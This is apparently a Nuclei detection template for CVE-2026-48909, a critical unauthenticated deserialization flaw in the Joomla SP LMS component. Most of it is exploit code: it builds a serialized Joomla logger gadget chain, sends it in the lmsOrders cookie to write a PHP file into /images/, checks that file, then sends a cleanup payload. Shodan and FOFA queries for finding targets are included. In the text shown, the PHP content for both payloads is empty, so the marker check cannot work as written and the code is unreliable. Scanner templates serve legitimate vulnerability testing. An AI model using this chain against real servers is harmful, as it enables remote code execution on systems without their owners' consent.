id: CVE-2026-48909 info: name: Joomla SP LMS <= 4.1.3 - Remote Code Execution author: DhiyaneshDK severity: critical description: | SP LMS (com_splms) < 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server. impact: | Unauthenticated remote attackers can execute arbitrary code on the server, potentially leading to full system compromise. remediation: | Upgrade to version 4.1.4 or later. reference: - https://github.com/CerberusMrXi/CVE-2026-48909-Joomla-SP-Exploit - https://github.com/Is4yev/CVE-2026-48909 - https://nvd.nist.gov/vuln/detail/CVE-2026-48909 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H cvss-score: 9.5 cve-id: CVE-2026-48909 cwe-id: CWE-502 epss-score: 0.07638 epss-percentile: 0.93926 metadata: verified: true max-request: 5 vendor: joomshaper product: sp_lms framework: joomla shodan-query: http.component:"joomla" fofa-query: body="com_splms" tags: cve,cve2026,joomla,rce,deserialization,unauth,splms,vuln variables: rand: "{{to_lower(rand_text_alpha(8))}}" flow: | var rand = template["rand"]; var filename = rand + ".php"; var filepath = "images/" + filename; var marker = "nuclei" + rand + "verify"; var B64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function b64(s) { var r = ""; for (var i = 0; i < s.length; i += 3) { var a = s.charCodeAt(i); var b = i+1 < s.length ? s.charCodeAt(i+1) : 0; var c = i+2 < s.length ? s.charCodeAt(i+2) : 0; r += B64.charAt(a >> 2); r += B64.charAt(((a & 3) << 4) | (b >> 4)); r += (i+1 < s.length) ? B64.charAt(((b & 15) << 2) | (c >> 6)) : "="; r += (i+2 < s.length) ? B64.charAt(c & 63) : "="; } return r; } function sstr(s) { return "s:" + s.length + ":\"" + s + "\";"; } function pkey(n) { return "\u0000*\u0000" + n; } function build(path, fmt) { var entry = "O:23:\"Joomla\\CMS\\Log\\LogEntry\":3:" + "{s:4:\"date\";s:10:\"1234567890\";s:4:\"time\";s:1:\"t\";s:1:\"f\";s:3:\"xxx\";}"; var cn = "Joomla\\CMS\\Log\\Logger\\FormattedtextLogger"; var p = sstr(pkey("defer")) + "b:1;" + sstr(pkey("options")) + "a:1:{s:16:\"text_file_no_php\";b:1;}" + sstr(pkey("path")) + sstr(path) + sstr(pkey("deferredEntries")) + "a:1:{i:0;" + entry + "}" + sstr(pkey("format")) + sstr(fmt) + sstr(pkey("fields")) + "a:0:{}"; return "O:" + cn.length + ":\"" + cn + "\":6:{" + p + "}"; } function pad(s, n) { var r = ""; for (var i = 0; i < n; i++) r += s; return r; } function safe(path, php) { for (var p = 0; p < 500; p++) { var fmt = p > 0 ? php + pad(" ", p) : php; var e = b64(build(path, fmt)); if (e.indexOf("/") === -1 && e.indexOf("+") === -1) return e; } var chars = "abcdefghijklmnopqrstuvwxyz"; for (var p = 1; p < 500; p++) { for (var ci = 0; ci < chars.length; ci++) { var c = chars.charAt(ci); var fmt; if (php.lastIndexOf("?>") === php.length - 2) { fmt = php.substring(0, php.length - 2) + " /*" + pad(c, p) + "*/ ?>"; } else { fmt = php + pad(c, p); } var e = b64(build(path, fmt)); if (e.indexOf("/") === -1 && e.indexOf("+") === -1) return e; } } return ""; } var wp = safe(filepath, ""); var cp = safe(filepath, ""); set("write_payload", wp); set("cleanup_payload", cp); set("marker", marker); set("urlpath", "/images/" + filename); http(1) && http(2) && http(3) && http(4) && http(5); http: - raw: - | GET /index.php?option=com_splms&view=cart HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "com_splms")' condition: and internal: true - raw: - | GET /index.php?option=com_splms&view=cart HTTP/1.1 Host: {{Hostname}} Cookie: lmsOrders={{write_payload}} matchers: - type: dsl dsl: - 'true' internal: true - raw: - | GET {{urlpath}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "{{marker}}" - type: status status: - 200 - raw: - | GET /index.php?option=com_splms&view=cart HTTP/1.1 Host: {{Hostname}} Cookie: lmsOrders={{cleanup_payload}} matchers: - type: dsl dsl: - 'true' internal: true - raw: - | GET {{urlpath}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'true' internal: true # digest: 4b0a00483046022100d6043e563739eed064ddf3bbd8e48003da5f563c0f3f134522435687444d4d9802210096eec039c3e3e3da36361b6cc662b9e15e33c9c5fb2869c4816733451c17e63c:922c64590222798bb761d5b6d8e72950